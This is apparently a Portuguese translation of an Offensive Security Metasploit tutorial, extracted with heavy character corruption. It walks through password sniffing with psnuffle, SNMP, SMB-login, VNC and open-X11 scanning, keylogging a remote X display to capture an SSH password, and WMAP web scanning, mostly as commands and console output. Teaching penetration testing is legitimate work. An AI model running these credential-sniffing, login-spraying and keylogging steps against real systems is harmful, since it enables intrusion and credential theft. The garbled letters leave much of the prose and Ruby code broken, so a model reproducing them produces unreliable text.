@ecentemente, !aA !oser liberada uma sen a !etasploit sniffing m/dulo c amado Kpsnuffle 1, (ue ir capturar sen as fora do fio similar ao dsniff ferramenta. Actualmente suporta 2O2I, E!A2, "?2 e )??2 OE?. 8oc pode ler mais sobre o m/dulo no Plog do !aA na ttpLDDremote& eAploit.blogspot.comD=..>D.]Dpsnuffle&pass#ord&sniffer&for. tml. 9sando o m/dulo Kpsnuffle eAtremamente simples. EAistem algumas op6es dispon5veis, mas o m/dulo funciona muito bem 1out of t e boA1.
msf 2 use auxiliary,sniffer,0snuffle msf auxiliary(0snuffle) 2 s.o% o0tions Mo$ule o0tions: <ame 3333 L;LT'R ;<T'RLAD' "DA"L;L' "ROTODOLS RHOST S<A"L'< T;M'O&T Durrent Settin* 333333333333333 Require$ 33333333 no no no yes yes yes yes Ees ri0tion 33333333333 T.e filter strin* for a0turin* traffi T.e name of t.e interfa e T.e name of t.e "DA" a0ture file to 0ro ess A omma3$elimite$ list of 0roto ols to sniff or "all"5 T.e tar*et a$$ress T.e num+er of +ytes to a0ture T.e num+er of se on$s to %ait for ne% $ata

all )((A( 1

*omo voc pode ver, a 'nica opo obrigat/ria (ue re(uer sua ao @)O%?. EAistem tambm algumas op6es dispon5veis, incluindo a capacidade de importar um ar(uivo de captura 2*A2. 8amos eAecutar o scanner no modo padro.

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

msf auxiliary(0snuffle) 2 set RHOST 14!51)65151(( RHOST ?2 14!51)65151(( msf auxiliary(0snuffle) 2 run 789 Auxiliary mo$ule runnin* as +a 1*roun$ Go+ 789 Loa$e$ 0roto ol LT" from ,0entest,ex0loits,frame%or1A,$ata,ex0loits,0snuffle,ft05r+555 789 Loa$e$ 0roto ol ;MA" from ,0entest,ex0loits,frame%or1A,$ata,ex0loits,0snuffle,ima05r+555 789 Loa$e$ 0roto ol "O"A from ,0entest,ex0loits,frame%or1A,$ata,ex0loits,0snuffle,0o0A5r+555 789 Loa$e$ 0roto ol &RL from ,0entest,ex0loits,frame%or1A,$ata,ex0loits,0snuffle,url5r+555 789 Sniffin* traffi 55555 789 Su essful LT" Lo*in: 14!51)651511!:!1314!51)65151@1:=6)1= 22 $oo1ie , $oo1ie (!!@ ADom ADEaemon LT" Ser-er Jersion !5@)

0o: 0/s capturamos uma sesso "?2 com Aito. Esta uma eAcelente ferramenta para a recol a de informao passiva.

Ho% to %rite a ne% psnu00&e )o#u&e


2snuffle fcil estender devido ao seu design modular. Esta seo guiar atravs do processo de desenvolvimento de uma E@* +Enternet @ela< * at, sniffer protocolo +Enforme mensagens e 0ic$,.

Mo#u&e Location
?odos os m/dulos esto localizados em diferentes dados D eAploits D psnuffle. Os nomes so correspondentes aos nomes protocolo utilizado dentro psnuffle. 2ara desenvolver o nosso pr/prio m/dulo, vamos dar uma ol ada nas peas importantes do actual popI sniffer m/dulo como um modelo.

Pattern #e0initions
self6si$s ? @ <ok ?= /ABC+DEAnFGHn/siI <e ?= /AB-#11EAnFGHn/siI <3se ?= /A./#1sCBEAnFCHn/siI <pass ?= /A%J//sCBEAnFCHn/siI <23it ?= /ABK.8TsGEAnFGHn/si L Esta seo define os padr6es de eApresso (ue ser utilizada durante sniffing para identificar dados interessantes. As eApress6es regulares ol ar muito estran o no comeo, mas so muito poderosas. Em resumo, tudo dentro de +, estaro dispon5veis dentro de uma varivel mais tarde no script. self6si$s ? @ <3se ?= /ABM8&DsCEAnFCH/siI <pass ?= /bB8)#MT8(NsCEAnFCH/siIL E@* para esta seo seria parecido com esses acima. %im, eu no sei tudo nic$servers E3E0?E"^ esto usando para enviar a sen a, mas o faz na freenode. )e< seu L&, um eAemplo ; Offensive %ecurit< =..> ?raduzido por @afael ?orres

Session #e0inition
2ara cada m/dulo, primeiro temos de definir (uais portas ele deve tratar e como a sesso deve ser monitorado.

return if not 01t7:t 09 T #e $on't %ant to .an$le anyt.in* ot.er t.an t 0 return if (01t7:t 095sr >0ort /? )))H an$ 01t7:t 095$st>0ort /? )))H) T "ro ess only 0a 1et on 0ort )))H T'nsure t.at t.e session .as. stays t.e same for +ot. %ay of ommuni ation if (01t7:t 095$st>0ort ?? )))H) T #.en 0a 1et is sent to ser-er s ? fin$>session("TW01t7:i095$st>i0\:TW01t7:t 095$st>0ort\3 TW01t7:i095sr >i0\:TW01t7:t 095sr >0ort\") else T #.en 0a 1et is omin* from t.e ser-er s ? fin$>session("TW01t7:i095sr >i0\:TW01t7:t 095sr >0ort\3 TW01t7:i095$st>i0\:TW01t7:t 095$st>0ort\") en$

Agora (ue temos um ob4eto de sesso 'nica (ue consolida informa6es, podemos ir em processo e conte'do do pacote (ue combinava com uma das eApress6es regulares (ue definimos anteriormente.
ase mat .e$ %.en :user T %.en t.e 0attern ",_(<;DXsQ7_n9Q),si" is mat .in* t.e 0a 1et ontent s7:user9?mat .es TStore t.e name into t.e session .as. s for later use T Eo %.ate-er you li1e .ere555 may+e a 0uts if you nee$ to %.en :0ass T #.en t.e 0attern ",+(;E'<T;LMsQ7_n9Q),si" is mat .in* s7:0ass9?mat .es T Store t.e 0ass%or$ into t.e session .as. s as %ell if (s7:user9 an$ s7:0ass9) T #.en %e .a-e t.e name an$ t.e 0ass sniffe$B 0rint it 0rint "32 ;RD lo*in sniffe$: TWs7:session9\ 22 username:TWs7:user9\ 0ass%or$:TWs7:0ass9\n" en$ sessions5$elete(s7:session9) T Remo-e t.is session +e ause %e $ont nee$ to tra 1 it anymore %.en nil T <o mat .esB $on't $o anyt.in* else T Rust in ase anyt.in* else is mat .in*555 sessions7s7:session995mer*e/(W1 ?2 mat .es\) T Rust a$$ it to t.e session o+Ge t en$

SNMP S%eepin'
arre %0!2 so fre(uentemente um bom indicador para encontrar uma tonelada de informa6es sobre um sistema espec5fico ou realmente comprometer o dispositivo remoto. %e voc puder encontrar um dispositivo *isco eAecutando uma se(uncia particular, por eAemplo, voc pode realmente fazer o do#nload da configurao do dispositivo inteiro, modific&lo e enviar a sua configurao pr/pria malicioso. ?ambm muitas vezes, as sen as so se o n5vel ` codificado (ue os meios eles so triviais para decodificar e obter o permitir ou login sen a para o dispositivo espec5fico. !etasploit vem com constru5do no m/dulo auAiliar especificamente para dispositivos de varredura %0!2. ) um par de coisas a compreender antes de eAecutar o nosso ata(ue. 2rimeiro, leia s/ escrever e ler strings da comunidade desempen am um papel importante sobre o tipo de informao pode ser eAtra5da ou modificado sobre os dispositivos de si. %e voc pode 1adivin ar1 o strings somente leitura ou leitura&escrita (ue voc pode obter um pouco de acesso (ue voc normalmente ; Offensive %ecurit< =..> ?raduzido por @afael ?orres

no teria. Alm disso, se os dispositivos baseados em Bindo#s so configurados com %0!2, muitas vezes, com cordas D @O a comunidade @B voc pode eAtrair os n5veis de patc , servios em eAecuo, tempos de reboot passado, nomes de usurio no sistema, rotas e vrios outros montantes de informao (ue valioso para um atacante. Ao consultar atravs do %0!2, (ue o (ue c amado de A2E !EP. O !EP representa o !anagement Enformation Pase +!EP,, essa interface permite (ue voc consulta o dispositivo e eAtrair informao. !etasploit vem carregado com uma lista de !EPs padro (ue tem em seu banco de dados, ele usa&los para consulta o dispositivo para obter mais informa6es, dependendo de (ual n5vel de acesso obtido. 8amos dar uma ol ada no m/dulo auAiliar.
msf 2 sear . snm0 789 Sear .in* loa$e$ mo$ules for 0attern 'snm0'555 'x0loits ???????? <ame 3333 %in$o%s,ft0,ora le4i>x$+>ft0>unlo 1 Auxiliary ????????? <ame 3333 s anner,snm0,aix>-ersion s anner,snm0, ommunity Ees ri0tion 33333333333 A;K S<M" S anner Auxiliary Mo$ule S<M" Dommunity S anner Ees ri0tion 33333333333 Ora le 4i KEB LT" &<LODX O-erflo% (%inA!)

msf 2 use s anner,snm0, ommunity msf auxiliary( ommunity) 2 s.o% o0tions Mo$ule o0tions: <ame Durrent Settin* 3333 333333333333333 BATDHS;]' !() to 0ro+e in ea . set DOMM&<;T;'S ,0entest,ex0loits,frame%or1A,$ata,%or$lists,snm05txt ommunities t.at s.oul$ +e attem0te$ 0er .ost RHOSTS ran*e or D;ER i$entifier R"ORT 1)1 THR'AES 1 on urrent t.rea$s Require$ 33333333 yes no yes yes yes Ees ri0tion 33333333333 T.e num+er of .osts T.e list of T.e tar*et a$$ress T.e tar*et 0ort T.e num+er of

msf auxiliary( ommunity) 2 set RHOSTS 14!51)65@5@314!51)65(5!(( r.osts ?2 14!51)65@5@314!51)65(5!(( msf auxiliary( ommunity) 2 set THR'AES 1@ t.rea$s ?2 1@ msf auxiliary( ommunity) 2 ex0loit 789 22 0ro*ress (14!51)65@5@314!51)65@5!(() @,A@!@6555 789 22 0ro*ress (14!51)6515@314!51)6515!(() @,A@!@6555 789 22 0ro*ress (14!51)65!5@314!51)65!5!(() @,A@!@6555 789 22 0ro*ress (14!51)65A5@314!51)65A5!(() @,A@!@6555 789 22 0ro*ress (14!51)65=5@314!51)65=5!(() @,A@!@6555 789 22 0ro*ress (3) @,@555 789 14!51)6515(@ '0u+li ' 'A"D #e+,S<M" Mana*ement Dar$ (MB:-A565) "L:-A5(5( "<:a0 >.%@!>aos>A((5+in AL1:-A5(5( A<1:a0 >.%@!>sumx>A((5+in M<:A"4)14 HR:A1@ S<: <A@6!H@@1=)( ME:@H,@1,!@@6) ('m+e$$e$ "o%er<et S<M" A*ent S# -!5! om0ati+le)' 789 Auxiliary mo$ule exe ution om0lete$

*omo podemos ver a(ui, n/s fomos capazes de encontrar uma string de comunidade de 1p'blico1, ; Offensive %ecurit< =..> ?raduzido por @afael ?orres

este mais provvel read&onl< e no revelam uma tonelada de informa6es. "azemos saber (ue o dispositivo um A2* Beb D %0!2 do dispositivo, e (ue suas vers6es em eAecuo.

Writin' :our o%n Scanner


) momentos em (ue voc pode precisar de um scanner espec5fico, ou com varredura actividade realizada no Fmbito !etasploit seria fcil para os fins de scripting usando um programa eAterno. !etasploit tem um monte de recursos (ue pode vir a cal ar para esse efeito, como o acesso a todas as classes e eAplorar mtodos, suporte embutido para proAies, %%G, relat/rios e constru5do em segmentao. 2ense em casos em (ue voc pode precisar de encontrar cada instFncia de uma sen a em um sistema, ou uma digitalizao de um servio personalizado. %em mencionar, bastante rpido e fcil de escrever o seu scanner personalizado. Eremos utilizar este simples scanner ?*2 (ue ir conectar a um ost em uma porta padro de T=I-N, (ue podem ser alterados atravs das op6es do m/dulo em tempo de eAecuo. Ao se conectar ao servidor, ele envia 1OG %E@8E@ K, recebe a resposta e imprime&lo 4untamente com o endereo E2 do ost remoto.
require 'msf, ore' lass Metas0loitA ` Msf::Auxiliary in lu$e Msf::'x0loit::Remote::T 0 in lu$e Msf::Auxiliary::S anner $ef initialiIe su0er( '<ame' ?2 'My ustom TD" s an'B 'Jersion' ?2 '[Re-ision: 1 ['B 'Ees ri0tion' ?2 'My qui 1 s anner'B 'Aut.or' ?2 'Mour name .ere'B 'Li ense' ?2 MSL>L;D'<S' ) re*ister>o0tions( 7 O0t::R"ORT(1!A=() 9B self5 lass) en$ $ef run>.ost(i0) onne t() so 150uts('H'LLO S'RJ'R') $ata ? so 15re -(1@!=) 0rint>status("Re ei-e$: TW$ata\ from TWi0\") $is onne t() en$ en$

0/s podemos salvar para o nosso diret/rio. D!odulesDauAiliarDscannerDdiret/rio como 1simple[tcp.rb e carregar msfconsole. Q importante notar duas coisas a(ui. 2rimeiro, os m/dulos so carregados em tempo de eAecuo, assim nosso novo m/dulo no aparecer a menos (ue reiniciar nossa interface de escol a. A segunda (ue a estrutura de pastas muito importante, se teria poupado o nosso scanner abaiAo. D !odules D auAiliar D scanner D ttp D ele iria aparecer na lista de m/dulos como 1scanner ttp D D simple[tcp. 2ara testar este scanner, configurar um ouvinte netcat na porta T=I-N e tubo em um ar(uivo de teAto para servir de resposta do servidor.

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

oot;bt4<O/docsP nc -ln'p 12345 Q listenin$ on Ean7F 12345 666

esponse6t"t

Em seguida, voc seleciona o seu novo scanner, definir seus parFmetros, e eAecut&lo para ver os resultados. !sf = 3se scanne /si!ple>tcp !sf a3"ilia 7Bsi!ple>tcpH = set 10+/T/ 1926168616101 10+/T/ ?= 1926168616101 !sf a3"ilia 7Bsi!ple>tcpH = 3n EGF 1ecei'ed< 9ello !etasploit f o! 1926168616101 EGF J3"ilia 7 !od3le e"ec3tion co!pleted *omo voc pode dizer a partir deste eAemplo simples, este n5vel de versatilidade pode ser de grande a4uda (uando voc precisa de um c/digo personalizado no meio de um teste de penetrao. A potncia do (uadro e c/digo reutilizvel realmente bril a por a(ui.

6u&nera.i&it: Scannin'
%canner de 8ulnerabilidade permite (ue voc rapidamente digitalizar uma meta de faiAa de E2s procurando por vulnerabilidades con ecidas, dando um testador de penetrao de uma ideia rpida do (ue o ata(ue poderia ser a realizao valor. Huando usado corretamente, esse um grande trunfo para um testador de caneta, mas no sem ela c amar costas. 8ulnerabilidade bem con ecido por uma elevada taAa de falsos positivos e falsos negativos. Esto tem (ue ser mantido em mente (uando se trabal a com (ual(uer varredura de vulnerabilidades de soft#are. 3eiAa o ol ar atravs de algumas das capacidades de vulnerabilidades (ue o !etasploit "rame#or$ pode proporcionar.

SM9 Lo'in 4$ec5


9ma situao comum encontrar&se na posse de um nome de usurio e sen a vlidos, e se perguntando onde mais voc pode us&lo. Este o lugar onde o Gogin %!P * ec$ %canner pode ser muito 'til, pois ele ir se conectar a uma gama de ospedeiros e determinar se o nome de usurio D sen a pode acessar o alvo. ?en a em mente, isso muito 1forte1 como ele vai aparecer como uma tentativa de logon fal ou nos logs de eventos de cada caiAa de Bindo#s (ue toca. %e4a cuidadoso na rede (ue est a tomar esta ao em. ?odos os resultados de sucesso pode ser conectado ao #indo#s D smb D pseAec eAplorar m/dulo +eAatamente como a ferramenta standalone, (ue pode ser utilizada para criar sess6es !eterpreter.

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

!sf = 3se a3"ilia 7/scanne /s!b/lo$in !sf a3"ilia 7Blo$inH = s9o5 options Mod3le options< Ma!e ---10+/T/ 1%+1T /MB)o!ain /MB%ass /MB.se T01#J)/ &3 ent /ettin$ --------------445 R+1D-1+.% Jd!inist ato 1 1e23i ed -------7es 7es no no no 7es )esc iption ----------T9e ta $et add ess an$e o &8)1 identifie /et t9e /MB se 'ice po t /MB )o!ain /MB %ass5o d /MB .se na!e T9e n3!be of conc3 ent t9 eads

!sf a3"ilia 7Blo$inH = set 10+/T/ ?= 19261686160/24 !sf a3"ilia 7Blo$inH = set /MB.se ?= 'icti! !sf a3"ilia 7Blo$inH = set /MB%ass ?= s3c 3t !sf a3"ilia 7Blo$inH = set T01#J)/ ?= 50 !sf a3"ilia 7Blo$inH = 3n EGF EGF EGF EGF EGF [*] msf

10+/T/ 19261686160/24 /MB.se 'icti!

/MB%ass s3c 3t T01#J)/ 50

1926168616100 - (J8S#) 0"c000006d - /TJT./>S+-+M>(J8S.1# 1926168616111 - (J8S#) 0"c000006d - /TJT./>S+-+M>(J8S.1# 1926168616114 - (J8S#) 0"c000006d - /TJT./>S+-+M>(J8S.1# 1926168616125 - (J8S#) 0"c000006d - /TJT./>S+-+M>(J8S.1# 1926168616116 - /.&&#//(.S S+-8M B.ni"H Auxiliary module execution completed auxiliary(login) >

6N4 Aut$entication None


O 80* Aut entication %canner ir procurar um intervalo de endereos E2 7 procura de alvos (ue esto rodando um servidor 80* sem uma sen a configurada. !uito bem cada administrador vale o seu sal define uma sen a antes de permitir coneA6es de entrada, mas voc nunca sabe (uando voc pode pegar um golpe de sorte e uma caneta de teste bem&sucedido no deiAa pedra sobre pedra. 3e fato, uma vez (ue ao fazer uma pentest, nos deparamos com um sistema na rede de destino com uma instalao 80* aberto. En(uanto estvamos documentando nossos resultados, eu notei alguma atividade no sistema. Acontece (ue, algum tin a encontrado o sistema to bem: 9m usurio no autorizado estava vivo e ativo no mesmo sistema ao mesmo tempo. 3epois de enga4ar&se em alguma engen aria social com o intruso, fomos informados pelo usurio (ue tin a acabado de c egar para o sistema, e foi atravs dele (ue eram grandes pedaos de varredura de endereos E2 7 procura de sistemas abertos. Esto apenas conduz o fato de (ue os invasores so, na verdade procurando ativamente deste fruto pendurado baiAo, ento voc ignor&lo por seu pr/prio risco. %e voc gostaria de testar este m/dulo no seu ambiente de laborat/rio, voc pode baiAar uma verso vulnervel do 9ltra80* AH9E. 2ara utilizar o scanner 80*, primeiro selecione o m/dulo auAiliar, definir as nossas op6es, em seguida, deiA&lo correr.
msf auxiliary(-n >none>aut.) 2 use s anner,-n ,-n >none>aut. msf auxiliary(-n >none>aut.) 2 s.o% o0tions Mo$ule o0tions:

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

<ame 3333 RHOSTS R"ORT THR'AES

Durrent Settin* 333333333333333 (4@@ 1

Require$ 33333333 yes yes yes

Ees ri0tion 33333333333 T.e tar*et a$$ress ran*e or D;ER i$entifier T.e tar*et 0ort T.e num+er of on urrent t.rea$s

msf auxiliary(-n >none>aut.) 2 set RHOSTS 14!51)6515@,!= RHOSTS ?2 14!51)6515@,!= msf auxiliary(-n >none>aut.) 2 set THR'AES (@ THR'AES ?2 (@ msf auxiliary(-n >none>aut.) 2 run 789 14!51)65151!1:(4@@B J<D ser-er 0roto ol -ersion : RLB @@A5@@6 789 14!51)65151!1:(4@@B J<D ser-er se urity ty0es su00orte$ : <oneB free a 789 Auxiliary mo$ule exe ution om0lete$ ess/

Open <==
!uito parecido com o scanner vnc[aut , o scanner digitaliza Open[CTT um intervalo alvo de servidores CTT, (ue permite (ue um usurio se conectar sem autenticao. 2ense no ata(ue devastador (ue pode ser efectuado fora desse erro de configurao. 2ara operar, mais uma vez, selecione o m/dulo auAiliar, definir as nossas op6es, e deiA&lo correr.
msf 2 use s anner,x11,o0en>x11 msf auxiliary(o0en>x11) 2 s.o% o0tions Mo$ule o0tions: <ame Durrent Settin* Require$ Ees ri0tion 3333 333333333333333 33333333 33333333333 RHOSTS yes T.e tar*et a$$ress ran*e or D;ER i$entifier R"ORT )@@@ yes T.e tar*et 0ort THR'AES 1 yes T.e num+er of on urrent t.rea$s msf auxiliary(o0en>x11) 2 set RHOSTS 14!51)65151,!= RHOSTS ?2 14!51)65151,!= msf auxiliary(o0en>x11) 2 set THR'AES (@ THR'AES ?2 (@ msf auxiliary(o0en>x11) 2 run 789 Tryin* 14!51)65151 789 Tryin* 14!51)6515@ 789 Tryin* 14!51)6515! 555 789 Tryin* 14!51)6515!4 789 Tryin* 14!51)6515A@ 789 O0en K Ser-er S 14!51)6515!A (T.e KLree6) "roGe tB ;n )

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

789 789 555 789 789 789 789

Tryin* 14!51)6515A1 Tryin* 14!51)6515A! Tryin* 14!51)6515!(A Tryin* 14!51)6515!(= Tryin* 14!51)6515!(( Auxiliary mo$ule exe ution

om0lete$

Apenas como eAemplo do (ue podemos fazer agora, vamos $e<logging instituto remoto.

oot;bt4</P cd /pentest/sniffe s/"sp7/ oot;bt4</pentest/sniffe s/"sp7P 6/"sp7 -displa7 1926168616101<0 -dela7 100 ss9 oot;192616861611BCBack/paceH37 s3p3 s3c 3tp4s550 d ifconfi$ e"it

WMAP We. Scanner


B!A2 um scanner de vulnerabilidade feature&ric #eb (ue foi originalmente criada a partir de uma ferramenta c amada %HG!ap. Esta ferramenta oferece a possibilidade de tomar um proA< e tubo de sa5da e os dados capturados e realizar anlise de vulnerabilidade fora de um proA< #eb interceptar. 2rimeiro, precisamos baiAar um proA< (ue se4a compat5vel com patc e patc do !etasploit. Alm disso, observe (ue se voc no tiver feito isso, instale o rub<gems e rub<&s(liteI como esses sero necessrios.
rootS+t=:,0entest,ex0loits,frame%or1AT %*et .tt0:,,rat0roxy5*oo*le o$e5 om,files,rat0roxy3 15(65tar5*I 33!@@43@)3!4 !1:=1:@!33 .tt0:,,rat0roxy5*oo*le o$e5 om,files,rat0roxy315(65tar5*I Resol-in* rat0roxy5*oo*le o$e5 om555 H=51!(54A56! Donne tin* to rat0roxy5*oo*le o$e5 omYH=51!(54A56!Y:6@555 onne te$5 HTT" request sentB a%aitin* res0onse555 !@@ OX Len*t.: 1)6=@4 (1)=X) 7a00li ation,x3*Ii09 Sa-in* to: Zrat0roxy315(65tar5*I' 1@@C7???????????????????????????????????29 1)6B=@4 !@1X,s in @56s !@@43@)3!4 !1:=1:@A (!@1 XB,s) 3 Zrat0roxy315(65tar5*I' sa-e$ 71)6=@4,1)6=@49 rootS+t=:,0entest,ex0loits,frame%or1AT tar 3Ix-f rat0roxy315(65tar5*I &n0a 1e$ rootS+t=:,0entest,ex0loits,frame%or1AT $ rat0roxy rootS+t=:,0entest,ex0loits,frame%or1A,rat0roxyT 0at . 3$ 5 `

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

,0entest,ex0loits,frame%or1A,external,rat0roxy,rat0roxy>%ma05$iff 0at .in* file Ma1efile 0at .in* file rat0roxy5 Hun1 T6 su ee$e$ at 1H6( (offset 4 lines)5 Hun1 T4 su ee$e$ at 164A (offset 4 lines)5 0at .in* file .tt05 Hun1 TA su ee$e$ at ))6 (offset 6 lines)5 rootS+t=:,0entest,ex0loits,frame%or1A,rat0roxyT ma1e Dom0ile$ no errors5

Agora (ue temos @atproA< atualizado e pronto para ir, temos (ue configurar nosso proA<, a fim de permitir a comunicao a ser encapsulado atravs do nosso proA< e, finalmente, a B!A2 !etasploit . "irefoA 2rimeiro, abra e siga os itens do menu Editar, 2referncias, Avanado, @ede, *onfigura6es, *onfigurao manual de proA<, selecione 19sar este proA< para todos os protocolos1 e no campo de proA< )??2, digite local ost e definir a porta para ].].. 9ma vez (ue este est configurado, vamos publicar uma srie de comandos, navegue at o local e, finalmente, atac&lo. 2ermite acompan ar o processo e ver o (ue se parece. 2rimeiro precisamos configurar e se conectar ao nosso banco de dados.
rootS+t=:,0entest,ex0loits,frame%or1AT 5,msf onsole ?7 metas0loit -A5A3testin* 7 ore:A5A a0i:15@9 Q 33 33?7 A61 ex0loits 3 !A1 0ayloa$s Q 33 33?7 !@ en o$ers 3 H no0s ?7 1() aux msf 789 789 789 msf 789 789 msf 789 789 2 $+> reate %ma05$+ Dreatin* a ne% $ata+ase instan e555 Su essfully onne te$ to t.e $ata+ase Lile: %ma05$+ 2 loa$ $+>%ma0 ?7 #MA" -@5) 3 et 7 9 metas0loit5 om Su essfully loa$e$ 0lu*in: $+>%ma0 2 $+> onne t %ma05$+ Su essfully onne te$ to t.e $ata+ase Lile: %ma05$+

Em outra 4anela ou aba terminal, inicie @atproA< com o registo completo, apontando para o nosso banco de dados.
rootS+t=:,0entest,%e+,rat0roxyT 5,rat0roxy 3- ,0entest,ex0loits,frame%or1A, 3+ %ma05$+ rat0roxy -ersion 15(63+eta +y l amtufS*oo*le5 om 7/9 #AR<;<G: Runnin* %it. no 'frien$ly' $omains s0e ifie$5 Many ross3$omain .e 1s %ill not %or15 "lease onsult t.e $o umentation for a$-i e5 789 "roxy onfi*ure$ su essfully5 Ha-e funB an$ 0lease $o not +e e-il5 7Q9 A e0tin* onne tions on 0ort 6@6@,t 0 (lo al only)555

Agora, com tudo funcionando, vamos procurar o nosso site de destino. *ertifi(ue&se de passar algum tempo a atravessar o site e preenc er o banco de dados com informao suficiente para !etasploit para trabal ar. Assim (ue terminar a navegao atravs do site de destino, voltamos 7 nossa sesso !etasploit e ver o (ue temos capturado.

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

msf 2 %ma0>tar*ets 3r 789 A$$e$5 1@5!115((51=@ 6@ @ msf 2 %ma0>tar*ets 30 789 ;$5 Host "ort SSL 789 15 1@5!115((51=@ 6@ 789 Eone5 msf 2 %ma0>tar*ets 3s 1 msf 2 %ma0>%e+site 789 #e+site stru ture 789 1@5!115((51=@:6@ SSL:@ ROOT>TR'' Y sql Y Q333333Eefault5as0x 789 Eone5 msf 789 789 789 789 789 789 789 789 789 789 789 789 789 789 789 789 789 789 789 789 789 789 789 789 789 789 789 msf 2 %ma0>run 3t Loa$e$ auxiliary,s anner,.tt0,%ma0>soa0>xml 555 Loa$e$ auxiliary,s anner,.tt0,%ma0>%e+$a->s anner 555 Loa$e$ auxiliary,s anner,.tt0,o0tions 555 Loa$e$ auxiliary,s anner,.tt0,front0a*e>lo*in 555 Loa$e$ auxiliary,s anner,.tt0,%ma0>-.ost>s anner 555 Loa$e$ auxiliary,s anner,.tt0,%ma0> ert 555 Loa$e$ auxiliary,s anner,.tt0,-ersion 555 Loa$e$ auxiliary,s anner,.tt0,front0a*e 555 Loa$e$ auxiliary,a$min,.tt0,tom at>mana*er 555 Loa$e$ auxiliary,s anner,.tt0,%ma0>-er+>aut.>+y0ass 555 Loa$e$ auxiliary,s anner,.tt0,%ma0>ssl 555 Loa$e$ auxiliary,a$min,.tt0,tom at>a$ministration 555 Loa$e$ auxiliary,s anner,.tt0,%ma0>0re->$ir>same>name>file 555 Loa$e$ auxiliary,s anner,.tt0,%ma0> o0y>of>file 555 Loa$e$ auxiliary,s anner,.tt0,%rita+le 555 Loa$e$ auxiliary,s anner,.tt0,%ma0>+a 1u0>file 555 Loa$e$ auxiliary,s anner,.tt0,ms@4>xxx>%e+$a->uni o$e>+y0ass 555 Loa$e$ auxiliary,s anner,.tt0,%ma0>$ir>listin* 555 Loa$e$ auxiliary,s anner,.tt0,%ma0>files>$ir 555 Loa$e$ auxiliary,s anner,.tt0,%ma0>file>same>name>$ir 555 Loa$e$ auxiliary,s anner,.tt0,%ma0>+rute>$irs 555 Loa$e$ auxiliary,s anner,.tt0,%ma0>re0la e>ext 555 Loa$e$ auxiliary,s anner,.tt0,%ma0>$ir>%e+$a->uni o$e>+y0ass 555 Loa$e$ auxiliary,s anner,.tt0,%ma0>$ir>s anner 555 Loa$e$ auxiliary,s anner,.tt0,%ma0>+lin$>sql>query 555 Analysis om0lete$ in @56)AA)44=1H11=!) se on$s5 Eone5 2 %ma0>run 3e

B!A2 agora vai usar o ar(uivo de banco de dados (ue apontam para @atproA< e criado com !etasploit e comece a atacar o site. Esso geralmente leva algum tempo, pois uma (uantidade significativa de ata(ues atravs do B!A2. 0ote&se (ue alguns dos c e(ues no so fiveis e levam muito tempo para ser conclu5do. 2ara sair de um m/dulo espec5fico auAiliar, s/ apertar 1c&control1 e vai avanar para o pr/Aimo m/dulo auAiliar. Aguarde at (ue todo o processo terminar e depois comear com os comandos abaiAo.
msf 2 %ma0>re0orts 789 &sa*e: %ma0>re0orts 7o0tions9 3. Eis0lay t.is .el0 text 30 "rint all a-aila+le re0orts 3s 7i$9 Sele t re0ort for $is0lay 3x 7i$9 Eis0lay KML re0ort msf 2 %ma0>re0orts 30 789 ;$5 Dreate$ Tar*et (.ostB0ortBssl) 15 Lri Run !) @6:A(:(6 Q@@@@ !@@4 1@5!115((51=@B6@B@ 789 Eone5

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

msf 2 %ma0>re0orts 3s 1 #MA" R'"ORT: 1@5!115((51=@B6@B@ Metas0loit #MA" Re0ort 7Lri Run !) @6:A(:(6 Q@@@@ !@@49 #'B>S'RJ'R #'BEAJ: '<ABL'E 7Lri Run !) @6:A6:1( Q@@@@ !@@49 #'B>S'RJ'R O"T;O<S: O"T;O<SB TRAD'B G'TB H'AEB E'L'T'B "&TB "OSTB DO"MB MOJ'B MXDOLB "RO"L;<EB "RO""ATDHB LODXB &<LODXB S'ARDH 7Lri Run !) @6:A6:1( Q@@@@ !@@49 #'B>S'RJ'R TM"': Mi rosoft3;;S,)5@ ( "o%ere$ +y AS"5<'T ) 7Lri Run !) @6:A6:16 Q@@@@ !@@49 L;L' <AM': ,sql,$efault5as0x Lile ,sql,$efault5as0x foun$5 7Lri Run !) @6:A4:@! Q@@@@ !@@49 L;L' R'S">DOE': !@@ 7Lri Run !) @6:A4:@! Q@@@@ !@@49 E;R'DTORM <AM': ,A$s, Eire tory ,A$s, foun$5 7Lri Run !) @6:A4:AH Q@@@@ !@@49 E;R'DTORM <AM': ,D ., Eire tory ,D ., foun$5 7Lri Run !) @6:==:1@ Q@@@@ !@@49 E;R'DTORM <AM': ,'eo, Eire tory ,'eo, foun$5 7Lri Run !) @6:=4:@A Q@@@@ !@@49 E;R'DTORM <AM': ,>0ri-ate, Eire tory ,>0ri-ate, foun$5 7Lri Run !) @6:((:!! Q@@@@ !@@49 E;R'DTORM R'S">DOE': =@A 7Lri Run !) @6:((:!! Q@@@@ !@@49 E;R'DTORM <AM': ,>-ti>+in, Eire tory ,>-ti>+in, foun$5 7Lri Run !) @6:((:!A Q@@@@ !@@49 E;R'DTORM R'S">DOE': !@H 7Lri Run !) @6:((:!A Q@@@@ !@@49 E;R'DTORM <AM': ,>-ti>lo*, Eire tory ,>-ti>lo*, foun$5 7Lri Run !) @6:((:!= Q@@@@ !@@49 E;R'DTORM R'S">DOE': =@A 7Lri Run !) @6:((:!= Q@@@@ !@@49 E;R'DTORM <AM': ,>-ti>0-t, Eire tory ,>-ti>0-t, foun$5 7Lri Run !) @6:((:!= Q@@@@ !@@49 E;R'DTORM R'S">DOE': (@@ 7Lri Run !) @6:((:!= Q@@@@ !@@49 E;R'DTORM <AM': ,>-ti>txt, Eire tory ,>-ti>txt, foun$5 7Lri Run !) @6:((:!= Q@@@@ !@@49 E;R'DTORM R'S">DOE': =@A 7Lri Run !) @6:((:!= Q@@@@ !@@49 E;R'DTORM <AM': ,>0ri-ate, Eire tory ,>0ri-ate, foun$5 7Lri Run !) @6:():@H Q@@@@ !@@49 E;R'DTORM R'S">DOE': =@A 7Lri Run !) @6:():@H Q@@@@ !@@49 E;R'DTORM <AM': ,>-ti>+in, Eire tory ,>-ti>+in, foun$5 7Lri Run !) @6:():1! Q@@@@ !@@49 E;R'DTORM R'S">DOE': =@A 7Lri Run !) @6:():1! 